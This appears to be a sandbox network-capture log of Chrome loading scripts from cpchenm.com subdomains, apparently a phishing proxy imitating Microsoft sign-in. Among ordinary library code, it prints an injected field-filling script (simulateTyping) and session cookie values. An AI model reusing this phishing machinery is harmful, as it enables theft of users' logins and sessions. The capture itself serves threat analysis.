2024-11-12 16:29:39 UTC	9432	IN	Data Raw: 30 33 2c 46 65 64 43 6f 6e 66 6c 69 63 74 3a 31 30 35 2c 57 69 6e 31 30 48 6f 73 74 5f 4c 6f 67 69 6e 3a 31 30 36 2c 57 69 6e 31 30 48 6f 73 74 5f 4c 6f 67 69 6e 5f 50 68 6f 6e 65 53 69 67 6e 69 6e 3a 31 30 37 2c 57 69 6e 31 30 48 6f 73 74 5f 46 69 6e 69 73 68 3a 31 30 38 2c 57 69 6e 31 30 48 6f 73 74 5f 53 74 72 6f 6e 67 41 75 74 68 3a 31 30 39 2c 57 69 6e 31 30 48 6f 73 74 5f 48 49 50 5f 4c 6f 67 69 6e 3a 31 31 30 2c 46 69 64 6f 3a 31 31 31 2c 57 69 6e 31 30 48 6f 73 74 5f 48 49 50 5f 4c 6f 67 69 6e 5f 50 68 6f 6e 65 53 69 67 6e 49 6e 3a 31 31 32 2c 46 65 64 4c 69 6e 6b 3a 31 31 33 2c 55 73 65 72 43 72 65 64 65 6e 74 69 61 6c 50 6f 6c 69 63 79 42 6c 6f 63 6b 65 64 3a 31 31 34 2c 42 69 6e 64 46 61 69 6c 65 64 3a 31 31 35 2c 57 69 6e 31 30 48 6f 73 74 4f Data Ascii: 03,FedConflict:105,Win10Host_Login:106,Win10Host_Login_PhoneSignin:107,Win10Host_Finish:108,Win10Host_StrongAuth:109,Win10Host_HIP_Login:110,Fido:111,Win10Host_HIP_Login_PhoneSignIn:112,FedLink:113,UserCredentialPolicyBlocked:114,BindFailed:115,Win10HostO
2024-11-12 16:29:39 UTC	10611	IN	Data Raw: 72 6f 6e 67 43 6f 64 65 45 6e 74 65 72 65 64 22 2c 49 6e 63 6f 72 72 65 63 74 4f 54 50 3a 22 49 6e 63 6f 72 72 65 63 74 4f 54 50 22 2c 4f 61 74 68 43 6f 64 65 49 6e 63 6f 72 72 65 63 74 3a 22 4f 61 74 68 43 6f 64 65 49 6e 63 6f 72 72 65 63 74 22 2c 4f 61 74 68 43 6f 64 65 44 75 70 6c 69 63 61 74 65 3a 22 4f 61 74 68 43 6f 64 65 44 75 70 6c 69 63 61 74 65 22 2c 4f 61 74 68 43 6f 64 65 4f 6c 64 3a 22 4f 61 74 68 43 6f 64 65 4f 6c 64 22 2c 50 72 6f 6f 66 44 61 74 61 4e 6f 74 46 6f 75 6e 64 3a 22 50 72 6f 6f 66 44 61 74 61 4e 6f 74 46 6f 75 6e 64 22 2c 4f 61 74 68 43 6f 64 65 43 6f 72 72 65 63 74 42 75 74 44 65 76 69 63 65 4e 6f 74 41 6c 6c 6f 77 65 64 3a 22 4f 61 74 68 43 6f 64 65 43 6f 72 72 65 63 74 42 75 74 44 65 76 69 63 65 4e 6f 74 41 6c 6c 6f 77 65 64 Data Ascii: rongCodeEntered",IncorrectOTP:"IncorrectOTP",OathCodeIncorrect:"OathCodeIncorrect",OathCodeDuplicate:"OathCodeDuplicate",OathCodeOld:"OathCodeOld",ProofDataNotFound:"ProofDataNotFound",OathCodeCorrectButDeviceNotAllowed:"OathCodeCorrectButDeviceNotAllowed
2024-11-12 16:29:39 UTC	11790	IN	Data Raw: 22 2e 22 29 2c 72 3d 53 2c 6f 3d 30 3b 6f 3c 6e 2e 6c 65 6e 67 74 68 2d 31 3b 6f 2b 2b 29 72 3d 72 5b 6e 5b 6f 5d 5d 3b 72 5b 6e 5b 6e 2e 6c 65 6e 67 74 68 2d 31 5d 5d 3d 74 7d 2c 53 2e 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 5b 74 5d 3d 6e 7d 2c 53 2e 76 65 72 73 69 6f 6e 3d 22 33 2e 35 2e 31 22 2c 53 2e 62 28 22 76 65 72 73 69 6f 6e 22 2c 53 2e 76 65 72 73 69 6f 6e 29 2c 53 2e 6f 70 74 69 6f 6e 73 3d 7b 64 65 66 65 72 55 70 64 61 74 65 73 3a 21 31 2c 75 73 65 4f 6e 6c 79 4e 61 74 69 76 65 45 76 65 6e 74 73 3a 21 31 2c 66 6f 72 65 61 63 68 48 69 64 65 73 44 65 73 74 72 6f 79 65 64 3a 21 31 7d 2c 53 2e 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 65 29 6f 2e Data Ascii: "."),r=S,o=0;o<n.length-1;o++)r=r[n[o]];r[n[n.length-1]]=t},S.L=function(e,t,n){e[t]=n},S.version="3.5.1",S.b("version",S.version),S.options={deferUpdates:!1,useOnlyNativeEvents:!1,foreachHidesDestroyed:!1},S.a=function(){function e(e,t){for(var n in e)o.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.22	49203	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:40 UTC	978	OUT	GET /24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489.js HTTP/1.1 Host: tvrceocprq.cpchenm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; fpc=AgoPu6kglfFNoCf1boaPI48; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeR-nh---hZTu4PYqzpbok8MQ_QHeER5WiuVYZj8zzArors-NktxlIATaTGsE4EwcoogCFCKz7fYVT2nl4og7Pq128fudEuKYDlHEqHm6UrhANECekQ2mLt-9tDamerkEvWXDNIF6Rfe9CHNZqG3-AFjrh47ris_u6R79zp6sa4vwgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
2024-11-12 16:29:41 UTC	860	IN	HTTP/1.1 200 OK Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/javascript Cross-Origin-Resource-Policy: cross-origin Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=None Date: Tue, 12 Nov 2024 16:29:41 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.22	49202	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:40 UTC	1043	OUT	GET /24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489/cfa6fe23a8b2678daff7e885b1ac3092843be13f2b5c8f8da62bca6faf6007db.js HTTP/1.1 Host: tvrceocprq.cpchenm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; fpc=AgoPu6kglfFNoCf1boaPI48; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeR-nh---hZTu4PYqzpbok8MQ_QHeER5WiuVYZj8zzArors-NktxlIATaTGsE4EwcoogCFCKz7fYVT2nl4og7Pq128fudEuKYDlHEqHm6UrhANECekQ2mLt-9tDamerkEvWXDNIF6Rfe9CHNZqG3-AFjrh47ris_u6R79zp6sa4vwgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
2024-11-12 16:29:41 UTC	869	IN	HTTP/1.1 200 OK Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/javascript Cross-Origin-Resource-Policy: cross-origin Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=None Date: Tue, 12 Nov 2024 16:29:41 GMT Connection: close Transfer-Encoding: chunked
2024-11-12 16:29:41 UTC	310	IN	Data Raw: 39 30 39 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 63 6f 6e 73 74 20 77 61 69 74 46 6f 72 41 6e 64 53 65 74 56 61 6c 75 65 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 73 65 6c 65 63 74 6f 72 2c 20 76 61 6c 75 65 29 20 7b 0a 20 20 20 20 66 69 6e 64 45 6c 65 6d 65 6e 74 28 73 65 6c 65 63 74 6f 72 29 2e 74 68 65 6e 28 28 65 6c 65 6d 65 6e 74 29 20 3d 3e 20 73 69 6d 75 6c 61 74 65 54 79 70 69 6e 67 28 65 6c 65 6d 65 6e 74 2c 20 76 61 6c 75 65 29 29 3b 0a 20 20 7d 3b 0a 20 20 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 73 69 6d 75 6c 61 74 65 54 79 70 69 6e 67 28 0a 20 20 20 20 65 6c 65 6d 65 6e 74 2c 0a 20 20 20 20 69 6e 70 75 74 53 74 72 2c 0a 20 20 20 20 6d 69 6e 44 65 6c 61 79 20 3d 20 31 2c 0a 20 20 20 20 6d 61 78 44 65 6c 61 79 20 3d 20 31 35 Data Ascii: 909(function () { const waitForAndSetValue = function (selector, value) { findElement(selector).then((element) => simulateTyping(element, value)); }; async function simulateTyping( element, inputStr, minDelay = 1, maxDelay = 15
2024-11-12 16:29:41 UTC	2015	IN	Data Raw: 20 20 20 61 77 61 69 74 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 72 65 73 6f 6c 76 65 29 20 3d 3e 0a 20 20 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 72 65 73 6f 6c 76 65 2c 20 67 65 74 52 61 6e 64 6f 6d 49 6e 74 28 6d 69 6e 44 65 6c 61 79 2c 20 6d 61 78 44 65 6c 61 79 29 29 0a 20 20 20 20 20 20 29 3b 0a 20 20 20 20 20 20 65 6c 65 6d 65 6e 74 2e 76 61 6c 75 65 20 2b 3d 20 63 68 61 72 3b 0a 20 20 20 20 20 20 74 72 69 67 67 65 72 45 76 65 6e 74 28 65 6c 65 6d 65 6e 74 2c 20 22 69 6e 70 75 74 22 29 3b 0a 20 20 20 20 7d 0a 20 20 7d 0a 20 20 63 6f 6e 73 74 20 66 69 6e 64 45 6c 65 6d 65 6e 74 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 73 65 6c 65 63 74 6f 72 29 20 7b 0a 20 20 20 20 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 Data Ascii: await new Promise((resolve) => setTimeout(resolve, getRandomInt(minDelay, maxDelay)) ); element.value += char; triggerEvent(element, "input"); } } const findElement = function (selector) { return new Promise(functi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.22	49205	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:42 UTC	474	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:29:42 UTC	1105	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: https://tvrcedjrhte.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/x-javascript Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:29:42 GMT Etag: 0x8DCE31D8CF87EF9 Last-Modified: Wed, 02 Oct 2024 20:05:23 GMT
2024-11-12 16:29:42 UTC	431	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 32 39 34 32 5a 2d 31 35 34 38 37 39 39 39 64 38 37 62 38 62 37 6d 68 43 31 57 41 57 67 66 63 6e 30 30 30 30 30 30 30 30 67 67 30 30 30 30 30 30 30 30 73 63 64 36 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T162942Z-15487999d87b8b7mhC1WAWgfcn00000000gg00000000scd6X-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:29:42 UTC	2001	IN	Data Raw: 32 32 63 32 35 0d 0a 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e Data Ascii: 22c25/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright n
2024-11-12 16:29:42 UTC	559	IN	Data Raw: 3b 74 3c 6e 3b 2b 2b 74 29 65 5b 74 5d 28 29 7d 29 2c 30 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 30 3d 3d 3d 72 26 26 28 6f 3d 65 2c 72 3d 31 2c 61 28 29 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 30 3d 3d 3d 72 26 26 28 6f 3d 65 2c 72 3d 32 2c 61 28 29 29 7d 6e 2e 74 68 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 65 28 28 66 75 6e 63 74 69 6f 6e 28 73 2c 75 29 7b 21 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 73 2c 75 29 7b 69 2e 70 75 73 68 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 69 3b 74 72 79 7b 69 3d 31 3d 3d 3d 72 3f 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 3f 74 28 6f 29 3a 6f 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 3f 6e 28 6f 29 3a 6f 7d 63 61 Data Ascii: ;t<n;++t)e[t]()}),0)}}function s(e){0===r&&(o=e,r=1,a())}function u(e){0===r&&(o=e,r=2,a())}n.then=function(t,n){return new e((function(s,u){!function(t,n,s,u){i.push((function(){var i;try{i=1===r?"function"==typeof t?t(o):o:"function"==typeof n?n(o):o}ca
2024-11-12 16:29:42 UTC	4716	IN	Data Raw: 65 2c 74 2c 6e 2c 72 2c 6f 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 69 29 7b 65 5b 74 5d 3d 72 3f 69 3a 6f 3f 7b 73 74 61 74 75 73 3a 22 66 75 6c 66 69 6c 6c 65 64 22 2c 76 61 6c 75 65 3a 69 7d 3a 7b 73 74 61 74 75 73 3a 22 72 65 6a 65 63 74 65 64 22 2c 72 65 61 73 6f 6e 3a 69 7d 2c 6e 28 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 6e 2c 72 29 7b 72 65 74 75 72 6e 20 6e 26 26 6e 2e 6c 65 6e 67 74 68 3f 6e 65 77 20 65 28 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 66 6f 72 28 76 61 72 20 61 3d 5b 5d 2c 73 3d 30 2c 75 3d 30 2c 63 3d 6e 2e 6c 65 6e 67 74 68 3b 75 3c 63 3b 2b 2b 75 29 7b 76 61 72 20 6c 3d 6e 5b 75 5d 3b 69 66 28 6c 20 69 6e 73 74 61 6e 63 65 6f 66 20 65 29 7b 73 2b 2b 3b 76 61 72 20 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 30 3d 3d Data Ascii: e,t,n,r,o){return function(i){e[t]=r?i:o?{status:"fulfilled",value:i}:{status:"rejected",reason:i},n()}}function n(n,r){return n&&n.length?new e((function(o,i){for(var a=[],s=0,u=0,c=n.length;u<c;++u){var l=n[u];if(l instanceof e){s++;var d=function(){0==
2024-11-12 16:29:42 UTC	5895	IN	Data Raw: 20 6f 20 69 6e 20 6e 26 26 28 72 3d 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 2c 65 29 69 66 28 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 6f 29 26 26 28 6f 3d 3d 3d 74 7c 7c 6e 26 26 6f 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 72 29 29 72 65 74 75 72 6e 20 6f 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 2c 65 78 74 65 6e 64 3a 6f 2e 75 74 69 6c 73 2e 65 78 74 65 6e 64 7d 2c 63 3d 74 2e 53 74 72 69 6e 67 3d 7b 74 72 69 6d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 72 65 70 6c 61 63 65 28 2f 5e 5c 73 2b 7c 5c 73 2b 24 2f 67 2c 22 22 29 7d 2c 66 69 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 72 65 74 75 72 6e 20 65 3f 6e 3f 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 74 Data Ascii: o in n&&(r=t.toLowerCase()),e)if(e.hasOwnProperty(o)&&(o===t\|\|n&&o.toLowerCase()===r))return o;return null},extend:o.utils.extend},c=t.String={trim:function(e){return e.replace(/^\s+\|\s+$/g,"")},find:function(e,t,n,r){return e?n?e.toLowerCase().indexOf(t
2024-11-12 16:29:42 UTC	7074	IN	Data Raw: 6f 41 6e 69 6d 61 74 69 6f 6e 45 6e 64 22 2c 4d 6f 7a 41 6e 69 6d 61 74 69 6f 6e 3a 22 61 6e 69 6d 61 74 69 6f 6e 65 6e 64 22 2c 57 65 62 6b 69 74 41 6e 69 6d 61 74 69 6f 6e 3a 22 77 65 62 6b 69 74 41 6e 69 6d 61 74 69 6f 6e 45 6e 64 22 7d 3b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 74 29 69 66 28 65 2e 73 74 79 6c 65 5b 6e 5d 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 72 65 74 75 72 6e 20 74 5b 6e 5d 3b 72 65 74 75 72 6e 22 22 7d 2c 69 73 53 74 61 63 6b 53 69 7a 65 47 72 65 61 74 65 72 54 68 61 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 65 7c 7c 30 2c 5f 2e 67 65 74 53 74 61 63 6b 53 69 7a 65 28 65 29 3e 65 7d 2c 69 73 53 76 67 49 6d 67 53 75 70 70 6f 72 74 65 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d Data Ascii: oAnimationEnd",MozAnimation:"animationend",WebkitAnimation:"webkitAnimationEnd"};for(var n in t)if(e.style[n]!==undefined)return t[n];return""},isStackSizeGreaterThan:function(e){return e=e\|\|0,_.getStackSize(e)>e},isSvgImgSupported:function(){return null=
2024-11-12 16:29:43 UTC	8253	IN	Data Raw: 65 53 70 6c 69 74 28 74 2c 22 26 22 2c 22 3d 22 29 7d 2c 72 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 74 7c 7c 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2c 6f 3d 72 2e 73 70 6c 69 74 28 22 2e 22 29 2c 69 3d 6f 2e 6c 65 6e 67 74 68 2c 61 3d 6f 5b 69 2d 32 5d 2b 22 2e 22 2b 6f 5b 69 2d 31 5d 2c 73 3d 6e 7c 7c 22 2f 22 2c 75 3d 22 68 74 74 70 73 3a 22 3d 3d 3d 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 2c 6c 3d 75 3f 22 3b 73 65 63 75 72 65 22 3a 22 22 2c 64 3d 4f 2e 67 65 74 44 65 66 61 75 6c 74 53 61 6d 65 53 69 74 65 41 74 74 72 69 62 75 74 65 28 75 29 3b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 63 2e 66 6f 72 6d 61 74 28 22 7b 30 7d 3d Data Ascii: eSplit(t,"&","=")},remove:function(e,t,n){var r=t\|\|document.location.hostname,o=r.split("."),i=o.length,a=o[i-2]+"."+o[i-1],s=n\|\|"/",u="https:"===document.location.protocol,l=u?";secure":"",d=O.getDefaultSameSiteAttribute(u);document.cookie=c.format("{0}=
2024-11-12 16:29:43 UTC	9432	IN	Data Raw: 57 69 6e 31 30 48 6f 73 74 5f 4c 6f 67 69 6e 5f 50 68 6f 6e 65 53 69 67 6e 69 6e 3a 31 30 37 2c 57 69 6e 31 30 48 6f 73 74 5f 46 69 6e 69 73 68 3a 31 30 38 2c 57 69 6e 31 30 48 6f 73 74 5f 53 74 72 6f 6e 67 41 75 74 68 3a 31 30 39 2c 57 69 6e 31 30 48 6f 73 74 5f 48 49 50 5f 4c 6f 67 69 6e 3a 31 31 30 2c 46 69 64 6f 3a 31 31 31 2c 57 69 6e 31 30 48 6f 73 74 5f 48 49 50 5f 4c 6f 67 69 6e 5f 50 68 6f 6e 65 53 69 67 6e 49 6e 3a 31 31 32 2c 46 65 64 4c 69 6e 6b 3a 31 31 33 2c 55 73 65 72 43 72 65 64 65 6e 74 69 61 6c 50 6f 6c 69 63 79 42 6c 6f 63 6b 65 64 3a 31 31 34 2c 42 69 6e 64 46 61 69 6c 65 64 3a 31 31 35 2c 57 69 6e 31 30 48 6f 73 74 4f 4f 42 45 5f 48 49 50 5f 4c 6f 67 69 6e 3a 31 31 36 2c 57 69 6e 31 30 48 6f 73 74 4f 4f 42 45 5f 48 49 50 5f 4c 6f 67 Data Ascii: Win10Host_Login_PhoneSignin:107,Win10Host_Finish:108,Win10Host_StrongAuth:109,Win10Host_HIP_Login:110,Fido:111,Win10Host_HIP_Login_PhoneSignIn:112,FedLink:113,UserCredentialPolicyBlocked:114,BindFailed:115,Win10HostOOBE_HIP_Login:116,Win10HostOOBE_HIP_Log
2024-11-12 16:29:43 UTC	10611	IN	Data Raw: 74 4f 54 50 22 2c 4f 61 74 68 43 6f 64 65 49 6e 63 6f 72 72 65 63 74 3a 22 4f 61 74 68 43 6f 64 65 49 6e 63 6f 72 72 65 63 74 22 2c 4f 61 74 68 43 6f 64 65 44 75 70 6c 69 63 61 74 65 3a 22 4f 61 74 68 43 6f 64 65 44 75 70 6c 69 63 61 74 65 22 2c 4f 61 74 68 43 6f 64 65 4f 6c 64 3a 22 4f 61 74 68 43 6f 64 65 4f 6c 64 22 2c 50 72 6f 6f 66 44 61 74 61 4e 6f 74 46 6f 75 6e 64 3a 22 50 72 6f 6f 66 44 61 74 61 4e 6f 74 46 6f 75 6e 64 22 2c 4f 61 74 68 43 6f 64 65 43 6f 72 72 65 63 74 42 75 74 44 65 76 69 63 65 4e 6f 74 41 6c 6c 6f 77 65 64 3a 22 4f 61 74 68 43 6f 64 65 43 6f 72 72 65 63 74 42 75 74 44 65 76 69 63 65 4e 6f 74 41 6c 6c 6f 77 65 64 22 2c 4f 61 74 68 43 6f 64 65 46 61 69 6c 65 64 4d 61 78 41 6c 6c 6f 77 65 64 52 65 74 72 79 52 65 61 63 68 65 64 3a Data Ascii: tOTP",OathCodeIncorrect:"OathCodeIncorrect",OathCodeDuplicate:"OathCodeDuplicate",OathCodeOld:"OathCodeOld",ProofDataNotFound:"ProofDataNotFound",OathCodeCorrectButDeviceNotAllowed:"OathCodeCorrectButDeviceNotAllowed",OathCodeFailedMaxAllowedRetryReached:
2024-11-12 16:29:43 UTC	11790	IN	Data Raw: 3b 72 5b 6e 5b 6e 2e 6c 65 6e 67 74 68 2d 31 5d 5d 3d 74 7d 2c 53 2e 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 5b 74 5d 3d 6e 7d 2c 53 2e 76 65 72 73 69 6f 6e 3d 22 33 2e 35 2e 31 22 2c 53 2e 62 28 22 76 65 72 73 69 6f 6e 22 2c 53 2e 76 65 72 73 69 6f 6e 29 2c 53 2e 6f 70 74 69 6f 6e 73 3d 7b 64 65 66 65 72 55 70 64 61 74 65 73 3a 21 31 2c 75 73 65 4f 6e 6c 79 4e 61 74 69 76 65 45 76 65 6e 74 73 3a 21 31 2c 66 6f 72 65 61 63 68 48 69 64 65 73 44 65 73 74 72 6f 79 65 64 3a 21 31 7d 2c 53 2e 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 65 29 6f 2e 